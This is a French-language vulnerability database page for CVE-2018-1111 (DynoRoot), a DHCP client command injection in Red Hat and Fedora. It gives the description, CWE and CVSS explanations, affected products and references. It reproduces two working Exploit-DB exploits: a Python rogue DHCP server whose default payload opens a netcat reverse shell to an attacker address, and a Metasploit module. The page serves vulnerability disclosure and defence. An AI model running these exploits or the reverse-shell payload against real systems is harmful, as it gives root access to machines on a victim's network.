CVE-2018-1111 : Détail

CVE-2018-1111

7.5
/
Haute
Command InjectionOS Command Injection
A03-Injection
97.03%V3
Adjacent
2018-05-17
14h00 +00:00
2018-11-30
19h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

DHCP packages in Red Hat Enterprise Linux 6 and 7, Fedora 28, and earlier are vulnerable to a command injection flaw in the NetworkManager integration script included in the DHCP client. A malicious DHCP server, or an attacker on the local network able to spoof DHCP responses, could use this flaw to execute arbitrary commands with root privileges on systems using NetworkManager and configured to obtain network configuration using the DHCP protocol.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-77 Improper Neutralization of Special Elements used in a Command ('Command Injection')
The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component.
CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.0 7.5 HIGH CVSS:3.0/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Adjacent

A vulnerability exploitable with adjacent network access means the vulnerable component is bound to the network stack, however the attack is limited to the same shared physical (e.g. Bluetooth, IEEE 802.11), or logical (e.g. local IP subnet) network, and cannot be performed across an OSI layer 3 boundary (e.g. a router).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

High

A successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

V2 7.9 AV:A/AC:M/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 44652

Date de publication : 2018-05-17 22h00 +00:00
Auteur : Kevin Kirsche
EDB Vérifié : Yes

# Exploit Title: DynoRoot DHCP - Client Command Injection # Date: 2018-05-18 # Exploit Author: Kevin Kirsche # Exploit Repository: https://github.com/kkirsche/CVE-2018-1111 # Exploit Discoverer: Felix Wilhelm # Vendor Homepage: https://www.redhat.com/ # Version: RHEL 6.x / 7.x and CentOS 6.x/7.x # Tested on: CentOS Linux release 7.4.1708 (Core) / NetworkManager 1.8.0-11.el7_4 # CVE : CVE-2018-1111 #!/usr/bin/env python from argparse import ArgumentParser from scapy.all import BOOTP_am, DHCP from scapy.base_classes import Net class DynoRoot(BOOTP_am): function_name = "dhcpd" def make_reply(self, req): resp = BOOTP_am.make_reply(self, req) if DHCP in req: dhcp_options = [(op[0], {1: 2, 3: 5}.get(op[1], op[1])) for op in req[DHCP].options if isinstance(op, tuple) and op[0] == "message-type"] dhcp_options += [("server_id", self.gw), ("domain", self.domain), ("router", self.gw), ("name_server", self.gw), ("broadcast_address", self.broadcast), ("subnet_mask", self.netmask), ("renewal_time", self.renewal_time), ("lease_time", self.lease_time), (252, "x'&{payload} #".format(payload=self.payload)), "end" ] resp /= DHCP(options=dhcp_options) return resp if __name__ == '__main__': parser = ArgumentParser(description='CVE-2018-1111 DynoRoot exploit') parser.add_argument('-i', '--interface', default='eth0', type=str, dest='interface', help='The interface to listen for DHCP requests on (default: eth0)') parser.add_argument('-s', '--subnet', default='192.168.41.0/24', type=str, dest='subnet', help='The network to assign via DHCP (default: 192.168.41.0/24)') parser.add_argument('-g', '--gateway', default='192.168.41.254', type=str, dest='gateway', help='The network gateway to respond with (default: 192.168.41.254)') parser.add_argument('-d', '--domain', default='victim.net', type=str, dest='domain', help='Domain to assign (default: victim.net)') parser.add_argument('-p', '--payload', default='nc -e /bin/bash 192.168.41.2 1337', type=str, dest='payload', help='The payload / command to inject (default: nc -e /bin/bash 192.168.41.2 1337)') args = parser.parse_args() server = DynoRoot(iface=args.interface, domain=args.domain, pool=Net(args.subnet), network=args.subnet, gw=args.gateway, renewal_time=600, lease_time=3600) server.payload = args.payload server()
Exploit Database EDB-ID : 44890

Date de publication : 2018-06-12 22h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::DHCPServer def initialize(info = {}) super(update_info(info, 'Name' => 'DHCP Client Command Injection (DynoRoot)', 'Description' => %q{ This module exploits the DynoRoot vulnerability, a flaw in how the NetworkManager integration script included in the DHCP client in Red Hat Enterprise Linux 6 and 7, Fedora 28, and earlier processes DHCP options. A malicious DHCP server, or an attacker on the local network able to spoof DHCP responses, could use this flaw to execute arbitrary commands with root privileges on systems using NetworkManager and configured to obtain network configuration using the DHCP protocol. }, 'Author' => [ 'Felix Wilhelm', # Vulnerability discovery 'Kevin Kirsche <d3c3pt10n[AT]deceiveyour.team>' # Metasploit module ], 'License' => MSF_LICENSE, 'Platform' => ['unix'], 'Arch' => ARCH_CMD, 'Privileged' => true, 'References' => [ ['AKA', 'DynoRoot'], ['CVE', '2018-1111'], ['EDB': '44652'], ['URL', 'https://github.com/kkirsche/CVE-2018-1111'], ['URL', 'https://twitter.com/_fel1x/status/996388421273882626?lang=en'], ['URL', 'https://access.redhat.com/security/vulnerabilities/3442151'], ['URL', 'https://dynoroot.ninja/'], ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2018-1111'], ['URL', 'https://www.tenable.com/blog/advisory-red-hat-dhcp-client-command-injection-trouble'], ['URL', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-1111'] ], 'Targets' => [ [ 'Automatic Target', { }] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'May 15 2018' )) deregister_options('DOMAINNAME', 'HOSTNAME', 'URL', 'FILENAME') end def exploit hash = datastore.copy start_service(hash) @dhcp.set_option(proxy_auto_discovery: "#{Rex::Text.rand_text_alpha(6..12)}'&#{payload.encoded} #") begin while @dhcp.thread.alive? sleep 2 end ensure stop_service end end end

Products Mentioned

Configuraton 0

Fedoraproject>>Fedora >> Version 26

Fedoraproject>>Fedora >> Version 27

Fedoraproject>>Fedora >> Version 28

Configuraton 0

Redhat>>Enterprise_virtualization >> Version 4.0

Redhat>>Enterprise_virtualization >> Version 4.2

Redhat>>Enterprise_virtualization_host >> Version 4.0

Redhat>>Enterprise_linux >> Version 6.0

Redhat>>Enterprise_linux >> Version 6.4

Redhat>>Enterprise_linux >> Version 6.5

Redhat>>Enterprise_linux >> Version 6.6

Redhat>>Enterprise_linux >> Version 6.7

Redhat>>Enterprise_linux >> Version 7.0

Redhat>>Enterprise_linux >> Version 7.2

Redhat>>Enterprise_linux >> Version 7.3

Redhat>>Enterprise_linux >> Version 7.4

Redhat>>Enterprise_linux >> Version 7.5

Redhat>>Enterprise_linux_desktop >> Version 6.0

Redhat>>Enterprise_linux_desktop >> Version 7.0

Redhat>>Enterprise_linux_server >> Version 6.0

Redhat>>Enterprise_linux_server >> Version 7.0

Redhat>>Enterprise_linux_workstation >> Version 6.0

Redhat>>Enterprise_linux_workstation >> Version 7.0

Références

http://www.securityfocus.com/bid/104195
Tags : vdb-entry, x_refsource_BID
http://www.securitytracker.com/id/1040912
Tags : vdb-entry, x_refsource_SECTRACK
https://access.redhat.com/errata/RHSA-2018:1454
Tags : vendor-advisory, x_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2018:1455
Tags : vendor-advisory, x_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2018:1457
Tags : vendor-advisory, x_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2018:1459
Tags : vendor-advisory, x_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2018:1453
Tags : vendor-advisory, x_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2018:1524
Tags : vendor-advisory, x_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2018:1456
Tags : vendor-advisory, x_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2018:1461
Tags : vendor-advisory, x_refsource_REDHAT
https://www.exploit-db.com/exploits/44652/
Tags : exploit, x_refsource_EXPLOIT-DB
https://www.exploit-db.com/exploits/44890/
Tags : exploit, x_refsource_EXPLOIT-DB
https://access.redhat.com/errata/RHSA-2018:1458
Tags : vendor-advisory, x_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2018:1460
Tags : vendor-advisory, x_refsource_REDHAT